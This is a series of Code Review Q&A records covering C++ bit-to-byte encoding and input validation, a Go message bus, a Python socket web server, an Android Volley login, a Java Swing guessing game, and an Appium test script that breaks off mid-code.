"CreationDate": "2019-02-03T13:18:58.827",
"Id": "411562",
"Score": "0",
"body": "Ah - `benchmark::DoNotOptimize(<expr>)` does the trick."
}
] | [
{
"body": "<p>I would try removing the variable length shift, which may be an expensive operation:</p>\n\n<p>So </p>\n\n<pre><code> int i=0, mask = 1;\n for (; i < sizeof(float) * 8; ++i) \n {\n buffer[startIndex + i] = ( mask & fl) != 0 ? 255 : 0;\n mask <<= 1;\n }\n</code></pre>\n\n<p>That might run faster or slower ( hard to predict which ).</p>\n\n<p>I think you should state the eventual goal and context as well, this appears to be a doubtful way of approaching a problem, so the solution may lie in changing the approach.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T07:03:44.287",
"Id": "411623",
"Score": "0",
"body": "I took the liberty of adding this to labarilem's online benchmark."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:31:13.920",
"Id": "411834",
"Score": "0",
"body": "I've tried this approach in the online benchmark tool, but I see no significant performance improvements."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T19:04:02.280",
"Id": "412144",
"Score": "0",
"body": "Nevermind, I found an error in my previous benchmark. I'm including a benchmark with your approach too."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:08:33.767",
"Id": "212792",
"ParentId": "212765",
"Score": "4"
}
},
{
"body": "<p>Writing memory is s.l.o.w. - especially if writing less than the processor word/bus width.<br>\nLoop jamming has a chance to speed up things - from a distance, this is just a source code variant of the <a href=\"https://codereview.stackexchange.com/questions/212765/encoding-0-1-bits-to-0-255-bytes-in-c?noredirect=1#comment411556_212765\">Streaming SIMD code hoffmale linked</a>.</p>\n\n<p>Instead of table lookup, one can turn LeastSignificantFirst bits in <em>word</em> to MSF bytes in <em>u32</em> using bit manipulation - I failed to produce a <em>readable</em> variation taking full advantage of <code>CHAR_BIT</code> & co.:</p>\n\n<pre><code>leastBits = ((((1<<CHAR_BIT)+1 << CHAR_BIT)+1 << CHAR_BIT)+1);\nbytes = (bits & 0xf) * ((((8<<CHAR_BIT)+4 << CHAR_BIT)+2 << CHAR_BIT)+1);\nbytes = (bytes >> 3) & leastBits;\nbytes = (bytes<<CHAR_BIT) - bytes;\n</code></pre>\n\n<p>should work like an evil spell, even extended to eight bytes.<br>\nThe problem with LSF bits to MSF bytes and no less bits to convert than bits/byte is part products running into each other - use</p>\n\n<pre><code>bytes = (bits & 0xf | ((bits & 0xf0)<<32))*0x204081;\n</code></pre>\n\n<p>(and no <code>>> 3</code>(<code>7</code>))) </p>\n\n<p><em>Warning</em> tried out, but not even tested systematically.</p>\n\n<pre><code>const int NBFL = sizeof(float) * CHAR_BIT;\n\nstatic void BitsToBytesImproved(benchmark::State& state) {\n // Code not measured\n float value = 1000.1234567; // Params initialization\n unsigned char * buffer0 = new unsigned char[1024];\n# define BASE_TYPE long\n# define UNSIGNED_TYPE unsigned BASE_TYPE\n# define UNSIGNED_SIZE sizeof(UNSIGNED_TYPE)\n# define UNSIGNED_BIT (1 << UNSIGNED_SIZE)\n UNSIGNED_TYPE bits = 0xff,\n *buffer = (UNSIGNED_TYPE *)buffer0,\n patterns[UNSIGNED_BIT] = { 0 };\n // set up pattern look-up table\n for (int done = 1 ; done < UNSIGNED_BIT ; bits <<= CHAR_BIT)\n for (int i = 0, next = 2*done ; done < next ; )\n patterns[done++] = patterns[i++] | bits;\n\n for (auto _ : state) { // this loop is measured repeatedly\n value += .1; // to prevent static evaluation\n int fl = *(int*)&value;\n for (int i = 0 ; i < NBFL ; i += UNSIGNED_SIZE) {\n UNSIGNED_TYPE *pui = (UNSIGNED_TYPE *)(buffer0 + i);\n bits = patterns[fl & UNSIGNED_BIT-1];\n benchmark::DoNotOptimize(*pui = bits);\n fl >>= UNSIGNED_SIZE;\n }\n }\n}\n</code></pre>\n\n<p>(Benchmark results have been too ticklish to the way I put the code for me to put much trust in them. FWIW, table look-up was reported faster than bit-bashing.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T14:11:35.650",
"Id": "411570",
"Score": "1",
"body": "Closer inspection of the disassembly showed full static evaluation of the bits in the float - benchmarking remains a difficult job even with powerful tools. And typing English with a flaky e-key sucks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T13:57:29.877",
"Id": "411789",
"Score": "0",
"body": "Turned out I messed up table initialisation and incorporation of George Barwood's suggestion on quick-bench.com."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:29:35.620",
"Id": "411833",
"Score": "0",
"body": "Seems like a closing square bracket is missing in the expression passed to `benchmark::DoNotOptimize`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T23:27:23.910",
"Id": "411835",
"Score": "0",
"body": "True - is that well deserved for *lines longer than keyhole width* or *trying to hand-synchronise four environments*? (Trying to find a decent map init - don't hold you breath. Got another idea for bit pattern to byte pattern…)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T00:35:39.190",
"Id": "411837",
"Score": "0",
"body": "(`fresh idea` - I *knew* I saw the likes of that before: [Reverse the bits in a byte](http://graphics.stanford.edu/~seander/bithacks.html#ReverseByteWith64Bits).)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T16:23:55.823",
"Id": "412107",
"Score": "1",
"body": "(Oh, the benchmark links seem to be changing - [table & bit-bash](http://quick-bench.com/QF9xQs_SFm1k4DMa8Nd7YpdJHEw).)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T19:00:14.107",
"Id": "412142",
"Score": "0",
"body": "What about completely unrolling the loop too? (as @Toby Speight suggested)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T20:44:10.383",
"Id": "412151",
"Score": "0",
"body": "I'm inclined to a) leave unrolling to the compiler b) limit *source level unrolling* to about 16 lines of code. (I expect a non-archaic compiler to remove loop set-up & control completely when it fully unrolls one.) Be sure to compare loops with an equal number of trips when timing."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T13:32:48.973",
"Id": "212795",
"ParentId": "212765",
"Score": "5"
}
},
{
"body": "<p>You have a portability problem here, where you use a constant that's probably your local value of <code>CHAR_BIT</code>:</p>\n\n<pre><code>for (; i < sizeof(float) * 8; ++i) {\n</code></pre>\n\n<p>In passing, it would be clearer to write <code>sizeof value</code> rather than <code>sizeof (float)</code> to be clearer what needs to match (and to simplify writing a <code>double</code> version, should you need it).</p>\n\n<p>There also seems to be an assumption on the relationship of <code>int</code> and <code>float</code> representations; if <code>sizeof (int)</code> ≠ <code>sizeof (float)</code> then the result may be padded and/or truncated (yes, it could be padded at one end and truncated at the other, depending on the endianness of the system).</p>\n\n<p>If you can be so specific about the systems you're targeting, you might as well go the whole hog and unroll the loop into a series of masks against constant single-bit values.</p>\n\n<p>I don't know whether it affects the generated code (inspect and profile!), but a branchless way to expand a single bit <code>b</code> (0 or 1) into 0 or 255 respectively would be</p>\n\n<pre><code>int i = (~b + 1) & 0xFF;\n</code></pre>\n\n<p>Alternatively, if you have 8-bit <code>char</code>, you could make the mask implicit:</p>\n\n<pre><code>unsigned char i = ~b + 1;\n</code></pre>\n\n<p>Er, on further thought, simply <code>255 * i</code> might be better. Anyway, everything is easier if you shift the input to meet the mask rather than <em>vice versa</em>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T18:59:08.820",
"Id": "412141",
"Score": "0",
"body": "I've already tried to adopt a branchless way to map the values, but there are no clear signs that it improves the performance of the original implementation. Unrolling the loop might work."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:58:55.080",
"Id": "212899",
"ParentId": "212765",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "212795",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:16:05.713",
"Id": "212765",
"Score": "6",
"Tags": [
"c++",
"performance",
"integer",
"bitwise"
],
"Title": "Encoding 0/1 bits to 0/255 bytes in C++"
} | 212765 |
<p>I'm trying to make a function that requests a number from 0 to 9 to the user and that is robust. I've been looking at code to guide me and most fail to find any of these situations, usually due to the use of <code>cin</code>:</p>
<ol>
<li>If the user enters spaces before or after the number, the entry is valid</li>
<li>If you end the input (<kbd>Ctrl</kbd>+<kbd>Z</kbd> in Windows; <kbd>Ctrl</kbd>+<kbd>D</kbd> on most Unix) an infinite cycle is produced</li>
<li>If the user typed 2ff the entry is valid</li>
<li>The entry is waiting for us to type something because of a line jump</li>
</ol>
<p>I've made the following code and I don't think it fails with its purpose. I would like to know your opinion and if you believe in any case where it could fail or if I can improve it.</p>
<pre><code>#include <iostream>
#include <string>
using namespace std;
int input_number()
{
string data = "";
while (true)
{
cout << "Input: ";
if (!getline(cin, data))
{
return -1;
}
if (data.length() != 1 || isspace(data[0]))
{
cerr << "Invalid number, try again!" << endl;
continue;
}
try
{
return stoi(data);
}
catch (const exception &e)
{
cerr << "Invalid number, try again!" << endl;
cin.clear();
}
}
}
int main()
{
cout << input_number() << endl;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T18:05:39.207",
"Id": "411583",
"Score": "0",
"body": "my c++ is not that strong but in other languages i might check for regex '^\\d$' instead of your length and whitespace check. also this would mean you shouldn't have to catch an exception."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-07T16:57:42.047",
"Id": "488030",
"Score": "1",
"body": "`if (data.length() == 1 && isnum(data[0])) return data[0] - '0';`"
}
] | [
{
"body": "<p>This can be rewritten using regular expression <code>\\s*(\\d)\\D*</code> (zero or more whitespace characters, a single digit, zero or more non digit characters. If I understand correctly, heading and trailing spaces are ok, <code>2ff</code> is ok but <code>ff2</code> is not ok and <code>23</code> is not ok either.</p>\n<pre><code>int input_number() {\n static const std::regex valid_number("\\\\s*(\\\\d)\\\\D*");\n string data;\n std::smatch matches;\n while (true) {\n cout << "Input: ";\n if (getline(cin, data) && \n std::regex_match(data, matches, valid_number)) {\n return stoi(matches[1]);\n }\n cerr << "Invalid number, try again!" << endl;\n }\n}\n</code></pre>\n<p>The exception on parsing should never be thrown, regular expression takes care to feed only valid number as the input. The initial version contained try/catch construct to catch it anyway and assert false but this idea is probably over-engineering.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-07T15:01:57.420",
"Id": "488017",
"Score": "1",
"body": "Don't catch and `assert(false)`, it adds four lines of code just to get a slightly better error message with debug builds. And when creating a release build with `-DNDEBUG` enabled, the `assert()` becomes a NOP, which means a potential error will then be ignored."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-07T16:14:12.773",
"Id": "488020",
"Score": "1",
"body": "Sometimes is the art to decide how much is too much. I have removed the try/catch statement."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-05T22:21:59.447",
"Id": "248975",
"ParentId": "212766",
"Score": "1"
}
},
{
"body": "<blockquote>\n<pre><code>using namespace std;\n</code></pre>\n</blockquote>\n<p>Please don't do that. Use the full names, or (if you must) just import only the names you need, and only into the smallest reasonable scope.</p>\n<blockquote>\n<pre><code>int input_number()\n</code></pre>\n</blockquote>\n<p>It would be easier to <s>use</s><strong>test</strong> this code if we could pass a stream to read from:</p>\n<pre><code>int input_number(std::istream& input = std::cin)\n</code></pre>\n<blockquote>\n<pre><code> std::isspace(data[0])\n</code></pre>\n</blockquote>\n<p>Missing header <code><cctype></code>.</p>\n<blockquote>\n<pre><code> catch (const std::exception& e)\n</code></pre>\n</blockquote>\n<p>That's a very broad catch - we could reduce to <code>std::logic_error</code> to catch everything we expect from <code>std::stoi()</code>.</p>\n<blockquote>\n<pre><code> std::cin.clear();\n</code></pre>\n</blockquote>\n<p>Not sure what that's doing there - this will be a no-op given that we don't reach this statement if <code>!cin</code> (because we return after calling <code>std::getline()</code>).</p>\n<hr />\n<p>I wonder if the behaviour is exactly what we want. I think it's perhaps over-strict. If I input <code> 3</code>, I would expect that to count as entering a single-digit number, despite the extra space character. What about if I enter <code>01</code>? Surely that's a number in the range 0-9?</p>\n<p>I think that returning -1 on error is a poor choice compared to throwing an exception. It's much too easy to forget to handle return values, especially for relatively uncommon events.</p>\n<p>I think that a better interface is described by these tests:</p>\n<pre><code>#include <gtest/gtest.h>\n#include <sstream>\nTEST(input_number, empty)\n{\n std::istringstream in{""};\n EXPECT_THROW(input_number(in), std::ios_base::failure);\n}\n\nTEST(input_number, alphabetic)\n{\n std::istringstream in{"a"};\n EXPECT_THROW(input_number(in), std::ios_base::failure);\n}\n\nTEST(input_number, too_small)\n{\n std::istringstream in{"-1"};\n EXPECT_THROW(input_number(in), std::ios_base::failure);\n}\n\nTEST(input_number, small)\n{\n std::istringstream in{"0"};\n EXPECT_EQ(input_number(in), 0);\n}\n\nTEST(input_number, big)\n{\n std::istringstream in{"9"};\n EXPECT_EQ(input_number(in), 9);\n}\n\nTEST(input_number, too_big)\n{\n std::istringstream in{"10"};\n EXPECT_THROW(input_number(in), std::ios_base::failure);\n}\n\n\n\nTEST(input_number, trailing_alpha)\n{\n std::istringstream in{"2ff"};\n EXPECT_THROW(input_number(in), std::ios_base::failure);\n}\n\nTEST(input_number, leading_zeros)\n{\n std::istringstream in{"007"};\n EXPECT_EQ(input_number(in), 7);\n}\n\nTEST(input_number, leading_spaces)\n{\n std::istringstream in{" 3"};\n EXPECT_EQ(input_number(in), 3);\n}\n\n\nTEST(input_number, empty_then_valid)\n{\n std::istringstream in{"\\n3"};\n EXPECT_EQ(input_number(in), 3);\n}\n\nTEST(input_number, alpha_then_valid)\n{\n std::istringstream in{"foo\\n3"};\n EXPECT_EQ(input_number(in), 3);\n}\n</code></pre>\n<p>Here's a small modification to the code that acts that way:</p>\n<pre><code>#include <iomanip>\n#include <iostream>\n#include <stdexcept>\n#include <string>\n\nint input_number(std::istream& input = std::cin)\n{\n while (true)\n {\n std::cout << "Input: " << std::flush;\n std::string data;\n if (!std::getline(input, data))\n {\n throw std::ios_base::failure("Cannot read input stream");\n }\n try\n {\n std::size_t end_pos;\n auto i = std::stoi(data, &end_pos);\n if (end_pos == data.size() && 0 <= i && i <= 9) {\n return i;\n }\n }\n catch (const std::logic_error&)\n {\n }\n std::cerr << "Invalid number, try again!" << std::endl;\n }\n}\n</code></pre>\n<hr />\n<p>There's more that can be done to improve this. For example, rather than embedding the range 0-9 within the function, pass the constraints into the function, so we can use it to accept different ranges. If we pass a callable, then we could even use unlikely constraints, such as requiring an odd number!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-05T16:32:56.533",
"Id": "255656",
"ParentId": "212766",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:18:23.063",
"Id": "212766",
"Score": "3",
"Tags": [
"c++",
"c++11"
],
"Title": "Program to take a number from 0 to 9 as input"
} | 212766 |
<p>I wrote a memory bus struct in golang to allow systems to interact with each other without knowing anything about the receiver. </p>
<p>This is for a game engine. I know it's not good to write games in garbage collected languages like golang, but I enjoy writing in golang so whatever. But since golang has a garbage collector and can cause the game to freeze I want to make sure that the message bus is optimized and not the cause of any freezes. (Besides the obvious overhead to using a message bus) </p>
<p>When looking up what causes the gc to struggle I learned that pointers are a major killer bc it requires the gc to go searching for the pointer. I'd like to know if there is a better way of adding receivers and sending messages that don't require pointers to the message bus.</p>
<p>Here is the MessageBus:</p>
<pre><code>type Message string
type MessageBus struct {
recievers []func(Message)
messages chan Message
}
var (
WaitGroup sync.WaitGroup
)
func (mb *MessageBus) AddReceiver(r func(Message)) {
mb.recievers = append(mb.recievers, r)
}
func (mb *MessageBus) GetMessageChan() chan Message {
return mb.messages
}
func (mb *MessageBus) Shutdown() {
close(mb.messages)
}
func (mb *MessageBus) Start() {
for msg := range mb.messages {
fmt.Println(msg)
for _, f := range mb.recievers {
WaitGroup.Add(1)
go f(msg)
}
WaitGroup.Wait()
}
}
func New() MessageBus {
return MessageBus{[]func(Message){}, make(chan Message, 1000)}
}
</code></pre>
<p>Here is an example of a handler:</p>
<pre><code>type Input struct {
mb chan<- messagebus.Message
}
func New(mb chan<- messagebus.Message) Input {
r := Input{mb}
return r
}
func (r Input) HandleMessage(m messagebus.Message) {
defer messagebus.WaitGroup.Done()
time.Sleep(time.Second)
switch m {
case "HI":
r.mb <- "A_PRESSED"
case "BYE":
r.mb <- "B_PRESSED"
}
}
func (r Input) Update() {}
</code></pre>
<p>Any help to speed up the transfers or prepare for garbage collection would be much appreciated!</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:34:58.113",
"Id": "212767",
"Score": "1",
"Tags": [
"performance",
"go",
"event-handling",
"memory-optimization"
],
"Title": "Golang message bus for a game engine"
} | 212767 |
<p>I recently became interested in back end web frameworks in python, but I didn't want to use django or flask. (I want to make something similar to django or flask) So I decided to make my own. This is what I have so far. I have been programming for nearly two years and I mostly do c++. But I would like to improve my python. What can I do to improve this, or my python in general? Thanks!</p>
<pre><code>import socket as Socket
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.__run_allowed = True
self.__HTTP_response_codes = {200: " OK", 404: " Not Found"}
self.__socket = Socket.socket(Socket.AF_INET, Socket.SOCK_STREAM)
def run(self):
self.__socket.bind((self.host, self.port))
self.__socket.listen(1)
while self.__run_allowed:
connection, address = self.__socket.accept()
request = connection.recv(1024).decode("utf-8")
webpage = request.split(' ')[1].split('?')[0].lstrip('/')
docInfo = self.__getDocumentInfoTuple__(webpage)
header = self.__generateHTTPResponseHeader__(docInfo[1], docInfo[2])
connection.send(header + docInfo[0])
connection.close()
def __getDocumentInfoTuple__(self, page):
print(page)
html = None
return_code = 200
content_type = "text/html"
try:
with open(page) as file:
html = str.encode(file.read())
except:
with open("404.html") as file:
html = str.encode(file.read())
return_code = 404
print("Failed to find requested page!\nDefaulting to PageNotFound.html...")
if page.endswith(".html"):
content_type = "text/html"
elif page.endswith(".css"):
content_type = "text/css"
elif page.endswith(".js"):
content_type = "text/javascript"
return (html, return_code, content_type)
def __generateHTTPResponseHeader__(self, HTTP_response_code, content_type):
header = b"HTTP/1.1 " + str.encode(str(HTTP_response_code)) + str.encode(self.__HTTP_response_codes[HTTP_response_code]) + b"\r\n"
header += b"Content-Type: " + str.encode(content_type) + b"; Encoding: UTF-8\n\n"
return header
def main(`enter code here`):
server = Server("127.0.0.1", 8080)
server.run()
if __name__ == "__main__":
main()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:59:14.790",
"Id": "411527",
"Score": "1",
"body": "Django and Flask are no web servers, they are frameworks for writing web applications. It is not clear what your exact intention is with the web server so that it is hard to say how it can be improved. But some obvious deficiencies are that you don't really follow the HTTP standard (`\\n` vs `\\r\\n`), don't deal properly with requests larger than 1024 bytes, cannot deal with POST, cannot deal with HTTPS, cannot handle more than one connection at a time, no support for keep-alive .... But these might be mostly intentional limitations to keep it simple - only you don't say so."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:04:43.847",
"Id": "411528",
"Score": "0",
"body": "I'm wanting to be able to use forms and really just do many of the things that django and flask can do. Sorry for the mistake about them being web servers. I relize that now and have fixed it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:12:35.427",
"Id": "411530",
"Score": "0",
"body": "This is an ambitious goal and there as a long way to go from what you currently have. I suggest you have a look at the [source code](https://github.com/python/cpython/blob/master/Lib/http/server.py) of [http.server](https://docs.python.org/3/library/http.server.html) for a start and try to understand how it works internally. But note that even http.server is only suitable as a low performance test server, so if you need performance you need to learn from even more complex servers."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:50:11.107",
"Id": "212770",
"Score": "1",
"Tags": [
"python",
"http",
"socket",
"server"
],
"Title": "Back-end web framework with sockets"
} | 212770 |
<p>I've made a simple login API request which gets a token as a response. I had to use <code>Toast</code> a few times. Is is possible to make it with only two <code>Toasts</code> Successful/Failed?</p>
<pre><code>public void login(View view){
RequestQueue queue = Volley.newRequestQueue(this);
String URL = "http://10.0.2.2:8000/api/login";
StringRequest request = new StringRequest(Request.Method.POST, URL,
new Response.Listener<String>()
{
@Override
public void onResponse(String response) {
try {
JSONObject jsonObj = new JSONObject(response);
myToken =jsonObj.getString("token");
if (myToken != ""){
Toast.makeText(getApplicationContext(), "Login successfull !", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(getApplicationContext(), "Ooops something is not correct !", Toast.LENGTH_LONG).show();
}
} catch (JSONException e) {
myToken = "";
Toast.makeText(getApplicationContext(), "Ooops something is not correct !", Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
},
new Response.ErrorListener()
{
@Override
public void onErrorResponse(VolleyError error) {
myToken = "";
Toast.makeText(getApplicationContext(), "Ooops something is not correct !", Toast.LENGTH_LONG).show();
NetworkResponse response = error.networkResponse;
String errorMsg = "";
if(response != null && response.data != null){
String errorString = new String(response.data);
}
}
}
) {
@Override
protected Map<String, String> getParams()
{
Map<String, String> params = new HashMap<String, String>();
TextInputEditText mail = findViewById(R.id.textInputEditTextEmail);
TextInputEditText pw = findViewById(R.id.textInputEditTextPassword);
params.put("email", mail.getText().toString());
params.put("password", pw.getText().toString());
return params;
}
};
queue.add(request);
}
</code></pre>
| [] | [
{
"body": "<p>You can use a variable and assume that it will fail, if you do not print the new message</p>\n\n<pre><code> public void login(View view){\n RequestQueue queue = Volley.newRequestQueue(this);\n String URL = \"http://10.0.2.2:8000/api/login\";\n StringRequest request = new StringRequest(Request.Method.POST, URL,\n new Response.Listener<String>()\n {\n @Override\n public void onResponse(String response) {\n String loginMsg = \"Ooops something is not correct !\";\n\n try {\n JSONObject jsonObj = new JSONObject(response);\n myToken =jsonObj.getString(\"token\");\n if (myToken != \"\"){\n loginMsg = \"Login successfull !\"\n }\n } catch (JSONException e) {\n myToken = \"\"; \n e.printStackTrace();\n }\n\n Toast.makeText(getApplicationContext(), loginMsg, Toast.LENGTH_LONG).show();\n\n }\n },\n new Response.ErrorListener()\n {\n @Override\n public void onErrorResponse(VolleyError error) {\n myToken = \"\";\n Toast.makeText(getApplicationContext(), \"Ooops something is not correct !\", Toast.LENGTH_LONG).show();\n NetworkResponse response = error.networkResponse;\n String errorMsg = \"\";\n if(response != null && response.data != null){\n String errorString = new String(response.data);\n }\n }\n }\n ) {\n @Override\n protected Map<String, String> getParams()\n {\n Map<String, String> params = new HashMap<String, String>();\n TextInputEditText mail = findViewById(R.id.textInputEditTextEmail);\n TextInputEditText pw = findViewById(R.id.textInputEditTextPassword);\n params.put(\"email\", mail.getText().toString());\n params.put(\"password\", pw.getText().toString());\n return params;\n }\n };\n queue.add(request);\n }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T23:11:58.840",
"Id": "212780",
"ParentId": "212771",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:56:07.687",
"Id": "212771",
"Score": "0",
"Tags": [
"java",
"android",
"authentication"
],
"Title": "Simple Android Volley login request"
} | 212771 |
<p>Based on <a href="https://www.viewfromthecodeface.com/portfolio/clean-code-hexagonal-architecture/" rel="nofollow noreferrer">this</a> article, I wrote a small "Guess my number" game in Hexagonal architecture which interacts with a Java Swing GUI adapter.</p>
<p>Any feedback is appreciated.</p>
<p><strong>Main.java</strong></p>
<pre><code>package piovezan.hexaguessnumber;
public class Main
{
public static void main(String[] args) {
int numberToGuess = 5;
GuiGuesser guesser = new GuiGuesser();
guesser.execute();
HexagonalGuessMyNumber game = new HexagonalGuessMyNumber(numberToGuess, guesser, guesser);
game.play();
}
}
</code></pre>
<p><strong>Guesser.java</strong></p>
<pre><code>package piovezan.hexaguessnumber;
public interface Guesser {
public int guess();
}
</code></pre>
<p><strong>Display.java</strong></p>
<pre><code>package piovezan.hexaguessnumber;
public interface Display {
public void show(String text);
}
</code></pre>
<p><strong>HexagonalGuessMyNumber.java</strong></p>
<pre><code>package piovezan.hexaguessnumber;
import java.util.Objects;
public class HexagonalGuessMyNumber {
private final int numberToGuess;
private final Display display;
private final Guesser guesser;
public HexagonalGuessMyNumber(int numberToGuess, Display display, Guesser guesser) {
this.numberToGuess = numberToGuess;
this.display = Objects.requireNonNull(display);
this.guesser = Objects.requireNonNull(guesser);
}
public boolean play() {
display.show("Guess the number I'm thinking in up to five attempts.");
for (int attempt = 1; attempt <= 5; attempt++) {
int guess = guesser.guess();
display.show("Attempt #" + attempt + ": " + guess + ".");
if (guess == numberToGuess) {
display.show("Congratulations, you guessed correctly! The number is " + numberToGuess + "!");
return true;
}
}
display.show("You weren't able to guess. Better luck next time.");
return false;
}
}
</code></pre>
<p><strong>GuiGuesser.java</strong></p>
<pre><code>package piovezan.hexaguessnumber;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.SwingUtilities;
public final class GuiGuesser implements Guesser, Display {
private final JTextField textField;
private final JButton button;
private final JPanel panel;
private final JLabel label;
private final BlockingQueue<Integer> queue = new LinkedBlockingQueue<>();
public GuiGuesser() {
this.textField = new JTextField();
this.button = new JButton("Guess");
this.panel = new JPanel();
this.label = new JLabel();
}
/**
* Create the GUI and show it. For thread safety,
* this method should be invoked from the
* event-dispatching thread.
*/
public void execute() {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
JFrame frame = new JFrame("GUI Guesser");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
initTextField();
initButton();
initPanel();
initLabel();
frame.getContentPane().add(panel);
frame.pack();
frame.setVisible(true);
}
});
}
private void initTextField() {
textField.setColumns(10);
}
private void initButton() {
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
try {
queue.add(Integer.parseInt(textField.getText()));
} catch (NumberFormatException ex) {
// Do nothing.
}
}
});
}
private void initPanel() {
panel.add(textField);
panel.add(button);
panel.add(label);
}
private void initLabel() {
label.setPreferredSize(new Dimension(600, 600));
}
@Override
public int guess() {
try {
return queue.take();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
@Override
public void show(String text) {
label.setText(text);
}
}
</code></pre>
<p>I've ommitted <code>KeyboardGuesser</code> (<code>Scanner</code>-based keyboard input), <code>ConsoleDisplay</code> and <code>UnitTestGuesser</code> from the review, as they are unrelated and quite simple. The first two can be seen in the linked article.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T20:05:08.773",
"Id": "212773",
"Score": "2",
"Tags": [
"java",
"swing",
"number-guessing-game"
],
"Title": "Java Swing \"guess my number\" game in Hexagonal architecture"
} | 212773 |
<p>I am new to automation. I have automated few test cases for a mobile app using appium and wanted to know the areas where my code can be improved further.</p>
<pre><code>package org.fltmobile.easychecklist;
import java.io.File;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.concurrent.TimeUnit;
import org.junit.Assert;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.remote.DesiredCapabilities;
import org.testng.annotations.Test;
import io.appium.java_client.android.AndroidDriver;
import io.appium.java_client.remote.MobileCapabilityType;
public class Tests
{
AndroidDriver driver;
public void setUp() throws MalformedURLException
{
File app = new File("abcd.apk");
DesiredCapabilities cap = new DesiredCapabilities();
cap.setCapability(MobileCapabilityType.DEVICE_NAME, "emulator-5554");
cap.setCapability(MobileCapabilityType.UDID, "emulator-5554");
cap.setCapability(MobileCapabilityType.NEW_COMMAND_TIMEOUT, "100");
cap.setCapability(MobileCapabilityType.APP, app.getAbsolutePath());
driver = new AndroidDriver(new URL("http://127.0.0.1:4723/wd/hub"), cap);
driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS);
}
@Test(priority=1, description="Create a new checklist and verify if it actually got created")
public void createNewCheckList() throws MalformedURLException
{
System.out.println("Test Case 1 started execution..");
setUp();
System.out.println("App opened..");
HelperMethods.createNewChecklist(driver, TestData.newChecklistName);
System.out.println("Checklist created");
if(!HelperMethods.verifyChecklistPresent(driver, TestData.newChecklistName))
Assert.fail("Created checklist could not be found");
System.out.println("Verified that the created checklist is actually created..");
}
@Test(priority=2, description="Add items to checklist and verify if all the items have actually got added to the checklist")
public void addItemsToCheckList() throws Exception
{
System.out.println("Test Case 2 started execution..");
createNewCheckList();
System.out.println("Created new checklist and verified..");
HelperMethods.openChecklist(driver, TestData.newChecklistName);
System.out.println("Opened the created checklist..");
String[] items = {TestData.itemName1, TestData.itemName2, TestData.itemName3};
HelperMethods.addItemsToChecklist(driver, items);
System.out.println("Added 3 items to created checlist..");
if(!HelperMethods.verifyItemsInChecklist(driver, items))
